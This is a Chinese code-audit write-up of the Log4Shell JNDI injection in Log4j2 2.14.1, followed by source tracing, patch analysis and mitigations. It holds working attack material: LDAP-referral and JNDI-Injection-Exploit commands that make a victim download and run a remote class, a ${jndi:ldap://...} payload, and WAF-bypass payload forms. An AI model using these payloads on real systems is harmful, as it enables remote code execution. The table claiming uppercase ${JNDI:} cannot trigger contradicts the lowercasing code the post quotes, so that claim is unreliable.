代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析
目录
环境搭建
- JDK:
jdk8u65 - Log4j2:
2.14.1
pom.xml 依赖:
1 | <dependencies> |
添加好依赖之后效果如下:


然后通过 Maven 下载源码,方便后面调试:

漏洞复现
编写测试代码
1 | import org.apache.logging.log4j.LogManager; |
构造恶意 class 文件
Exploit.java:
1 | import java.io.IOException; |
执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:
1 | python -m http.server 5566 |

启动 LDAP 转发器
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389 |
参数说明:
-cp:指定类路径(classpath)marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有marshalsec.jndi.RMIRefServer可以启动 RMI 转发器)"http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点)#Exploit:#后的部分在 LDAP 协议中会被解析为引用的classFactory名称,受害者最终会请求/Exploit.class文件,不用#不能正常启动(规范写法)
1389:LDAP 服务监听的本地端口

请求流程
整个攻击链的请求顺序如下:
1 | 受害服务器 攻击机 |
- 受害服务器
.lookup("ldap://攻击机IP:1389/Exploit")请求攻击机 LDAP 服务 - 攻击机 LDAP 服务收到查询后返回一个
javax.naming.Reference对象,包含 codebase 地址(http://172.16.250.1:5566/)和类名(Exploit) - 告诉受害服务器去
http://172.16.250.1:5566/这里找Exploit文件 - 受害服务器解析该引用后,自动从 codebase 地址下载 Exploit.class 文件,然后实例化并执行恶意代码
测试成功,弹出计算器:

HTTP 服务日志中可以看到 GET /Exploit.class 的请求记录。
注意事项
1. 把恶意代码写到静态块里更好
1 | static { |
原因:
- 静态块:当类被
Class.forName()加载时就会执行,在实例化之前 - 构造方法:必须等到
newInstance()创建对象实例时才会执行
静态块的好处:即使实例化失败,恶意代码也能执行,而且只执行一次,避免重复操作。
2. class 文件不能放在项目能找到的地方
如果放在项目的 classpath 里,JVM 会优先从本地加载该类,根本不会发起 HTTP 请求,也就没有起到远程下载的效果了。
3. 包名问题
如果 Exploit 类声明了包名(如 package com.attack;),受害服务器会按完整类名 com.attack.Exploit 去 HTTP 服务器上请求 com/attack/Exploit.class,路径包含目录结构。
最简单稳妥的做法:不声明包名,使用默认包,这样请求的就是 /Exploit.class,减少路径错误。
使用 JNDI 工具一键利用
上面是自己手动写 class 实现的,不过现在的 JNDI 利用工具有自带执行命令的功能,更加方便:
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 172.16.250.1 |

修改一下 payload:
1 | String payload = "${jndi:ldap://172.16.250.1:1389/jxjkff}"; |

代码审计
复现完了,接下来开始审计。有几个我比较关心的问题:
- 触发点是
logger.error(),看着并不是一个特殊的函数,那会不会还有其他的触发方式? - payload 的写法
${jndi:ldap://172.16.250.1:1389/jxjkff},特别是被${}包裹的这个结构,Log4j 是从哪里开始解析它的? - 不同版本的 LDAP 和 RMI 之间有什么区别?
带着这几个问题开始跟调用链。
payload 入口追踪
payload 被完整传入了 error() 方法:

进入类里面,message 是字符串,p0 是 payload,没有问题:

进入 logIfEnabled 方法,做了一个日志级别判断:

进入 logMessage 方法,这里创建了一个对象来存储 message 和 p0 的信息:
1 | final Message msg = messageFactory.newMessage(message, p0); |

可以看到只是单纯的存储数据,没有对字符串处理,payload 放在了 stringArgs 这个数组里:

然后经过 logMessageSafely >> logMessageTrackRecursion >> tryLogMessage >> log(),目前还是没有对 payload 处理,进入另一个 log() 方法:

到了 loggerConfig.log 这里,创建了一个 logEvent 对象:

这个对象里有个变量,是字符串和 payload 的组合:

然后 logEvent 传入 log(logEvent, LoggerConfigPredicate.ALL) 里的 event:

进入 processLogEvent:

然后带着对象进入了 callAppenders:

controls[i].callAppender(event) >> callAppenderPreventRecursion(event) >> callAppender0(event) >> tryCallAppender(event) >> appender.append(event) >> tryAppend(event) >> directEncodeEvent(event):

MessagePatternConverter:关键转折点
进入 getLayout().encode(event, manager):

1 | final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); |

toText >> toSerializable >> formatters[i].format(event, buffer),然后是一直的循环处理。
当来到第八轮循环的时候,进入了 MessagePatternConverter.format,这正是对 ${} 里面的数据做提取的地方:

经过 ((StringBuilderFormattable) msg).formatTo(workingBuilder):

输入的数据被提取出来和前缀消息拼接到了 workingBuilder:

接下来有一段关键逻辑:
1 | if (config != null && !noLookups) { |

1 | final String value = workingBuilder.substring(offset, workingBuilder.length()); |

1 | // 把 config.getStrSubstitutor().replace(event, value) 处理完的信息拼接回 workingBuilder |
步入时点击选择 replace 函数:

source 就是输入的值:
1 | 用户输入数据: ${jndi:ldap://172.16.250.1:1389/jxjkff} |

substitute:变量解析核心
然后进入了 substitute 方法,它的作用是递归地查找并替换字符串中的 ${...} 占位符。
核心能力:
- 识别
${xxx} - 支持嵌套
${${a}} - 支持默认值
${a:-b} - 支持递归解析
- 支持转义
逐段看一下代码:
1 | final StrMatcher prefixMatcher = getVariablePrefixMatcher(); // 匹配字符 ${ |
在字符串里面找 ${:
1 | final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); |
如果找到了:
1 | if (pos > offset && chars[pos - 1] == escape) { |
如果没有转义,则开始对 ${ 后的字符处理:
1 | if (substitutionInVariablesEnabled |
这是对外层的 ${ 匹配 },找到最外层的 } 边界,方便把中间的内容递归传入 substitute 继续处理。
如果找到后 nestedVarCount == 0,意思是已经找到了最外层的 }(因为找到一个 ${ 就加一,找到一个 } 就减一),就开始对 ${} 里面的内容处理了:
1 | String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen); |
1 | if (substitutionInVariablesEnabled) { |
如果 substitutionInVariablesEnabled(允许递归,默认是允许的),就把 varNameExpr 放入 substitute 再次递归,最后出来的是没有 ${} 的内容,因为里面的内容会被当做变量处理。
接着是对 :- 键值对处理的逻辑:
1 | if (valueDelimiterMatcher != null) { ... } |
假设 varNameExpr 的值是 "host:-localhost":
- 代码会遍历每个字符,找到
":-"这个分隔符(valueDelimiterMatcher默认匹配:-) - 将分隔符前面的部分
"host"作为varName,后面的部分"localhost"作为varDefaultValue - 如果
varNameExpr中没有:-,则整个字符串就是varName,varDefaultValue保持null
所以原本的 payload ${} 被拆成了:
varName=jndi:ldap://172.16.250.1:1389/jxjkffvarDefaultValue=null
1 | if (priorVariables == null) { |
这里有一个防止无限递归的机制,不过处理依然有限,只能防止 ${a} → ${a} 这种死循环,对安全没有实质帮助。
resolveVariable:触发入口
最后到了触发 payload 的入口:

1 | String varValue = resolveVariable(event, varName, buf, startPos, endPos); |
这个方法相当于一个调度员,会根据 varName 去寻找和执行对应任务,返回值为 varValue:
1 | protected String resolveVariable(final LogEvent event, final String variableName, |
接受变量名,交给 resolver 处理。
Interpolator:协议分发
resolver.lookup(event, variableName) 进入了 Interpolator.lookup:

1 | final int prefixPos = var.indexOf(PREFIX_SEPARATOR); |
有冒号就进入 if (prefixPos >= 0) 的判断里面:
1 | final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); |
把 jndi:ldap://172.16.250.1:1389/jxjkff 拆成了:
prefix=jndiname=ldap://172.16.250.1:1389/jxjkff
接下来是分发机构,会检测各种 prefix 的信息:
1 | final StrLookup lookup = strLookupMap.get(prefix); |

总共有 12 种,获取对应的实例。没有任何过滤,不管传入什么都会来匹配。"jndi" 对应 JndiLookup。
1 | String value = null; |
如果找到了对应的实例,就调用它的 lookup 方法,传入 name 和可选的 event 参数。
对于 JNDI 注入,lookup 是 JndiLookup,其 lookup(event, name) 内部会执行 JndiLookup.lookup(name),发起 JNDI 查询:

这里就是执行 JNDI 查询的地方,整条链走完了。
触发条件与常见入口
所有日志级别(info、error、warn 等)只要启用了,且日志消息中包含用户可控的字符串,都可能触发漏洞。
| 入口类型 | 示例代码 |
|---|---|
| HTTP 参数 | logger.info("param: {}", request.getParameter("input")); |
| HTTP Header | logger.error("User-Agent: {}", request.getHeader("User-Agent")); |
| Cookie | logger.warn("Cookie: {}", cookie.getValue()); |
| 请求体 | logger.debug("Body: {}", IOUtils.toString(request.getReader())); |
| 文件名 | logger.info("Upload: {}", file.getOriginalFilename()); |
Lookup 类型一览:
| Lookup 类型 | 作用 | 利用示例 |
|---|---|---|
| upper | 转换为大写 | ${${upper:j}ndi},先转为 J,再拼接成 Jndi |
:-(Default Lookup) |
如果键不存在,则返回默认值 | ${::-j}${::-n}${::-d}${::-i},直接逐个字符拼出 jndi |
| env | 获取系统环境变量的值 | ${env:JNDI:-jndi},如果环境变量 JNDI 不存在,则返回默认值 jndi |
| sys | 获取 Java 系统属性的值 | ${sys:LDAP:-ldap},获取系统属性值或默认值 |
| main | 获取应用程序的 main 参数 | 可用于注入参数值,但在攻击中不如其他方式常用 |
| ctx | 获取 ThreadContext 映射中的值 | 攻击者若能控制上下文(例如通过 HTTP Header),则可注入恶意值 |
| date | 格式化当前日期或时间 | 理论上可用于构造特殊字符串,但在实际攻击中很少见 |
| log4j | 获取 Log4j 相关的配置信息 | 通常用于获取配置目录等信息,可辅助攻击 |
WAF 绕过原理
为什么 ${${lower:j}ndi:...} 能绕过 WAF?
核心逻辑:
- 第一层
substitute识别到${...} - 它发现变量名里还有
${,于是递归调用substitute处理内部的${lower:j} - 内部解析完变成
j,返回给外层 - 外层拼接出
jndi,再次解析,最终触发JndiLookup
WAF 看到的是 ${${lower:j}ndi:...},过滤的关键词 jndi: 并不直接出现在字符串里,但 Log4j 在解析时会先把内层的 ${lower:j} 解析为 j,拼出完整的 jndi:,再去查 JNDI。
总结一下 payload 是否触发:
| Payload 示例 | 是否触发 JNDI | 原因 |
|---|---|---|
${jndi:ldap://...} |
✅ 是 | 前缀 jndi: 匹配 JndiLookup |
${JNDI:ldap://...} |
❌ 否 | 前缀区分大小写(jndi 小写) |
${ldap://...} |
❌ 否 | 无 jndi: 前缀,被当作普通变量 |
${abc:xyz} |
❌ 否 | 前缀 abc 未注册,返回空 |
${sys:user.name} |
❌ 否(但可读系统属性) | 不同前缀,不涉及 JNDI |
jndi: 前缀后可以跟 ldap://、rmi://、dns://、iiop:// 等协议,原理相同。
在组合这些元素时,需要注意大小写语法。${lower:Jndi} 的结果是 jndi,而 ${upper:jndi} 的结果是 JNDI。
常见绕过 payload
1 | # 字符拆分绕过 |
补丁分析
2.15.0-rc1 的修复
在 MessagePatternConverter 中添加了 noLookups 选项:
1 | public static MessagePatternConverter newInstance(final Configuration config, final String[] options) { |
默认情况下,noLookups 为 false,仍然会进行 lookup。需要手动配置:
1 | <PatternLayout pattern="%msg{nolookups}" /> |
或者在 log4j2.component.properties 中设置:
1 | log4j2.formatMsgNoLookups=true |
2.15.0 正式版的修复
在 Interpolator 中限制了可用的 lookup 类型:
1 | static { |
只有白名单中的 lookup 类型才会被加载,jndi 被移除。
2.16.0 的修复
完全移除了 JNDI Lookup 功能:
1 | // JndiLookup 类被移除 |
总结
漏洞原理:
Log4j2 在处理日志消息时,会递归解析 ${} 占位符,其中 jndi: 前缀会触发 JNDI 查询,导致远程代码执行。
触发条件:
- 使用 Log4j2 版本 < 2.15.0
- 日志消息中包含用户可控的字符串
- 日志级别启用(info、error、warn 等)
影响范围:
- 所有使用 Log4j2 的 Java 应用
- Spring Boot、Struts2 等框架默认使用 Log4j2
- Hadoop、Elasticsearch、Druid 等大数据组件
修复建议:
- 升级到 Log4j2 2.16.0 或更高版本
- 设置
log4j2.formatMsgNoLookups=true - 移除 classpath 中的
JndiLookup类 - 使用 WAF 拦截恶意 payload
防护措施:
- 升级 Log4j2 到最新版本
- 禁用 JNDI Lookup 功能
- 使用 WAF 拦截恶意请求
- 限制服务器出网权限
- 升级 JDK 到 8u191+ 或 11.0.1+(默认禁止远程 codebase)
参考资料
- Apache Log4j2 官方 Security 公告
- marshalsec、JNDI-Injection-Exploit 工具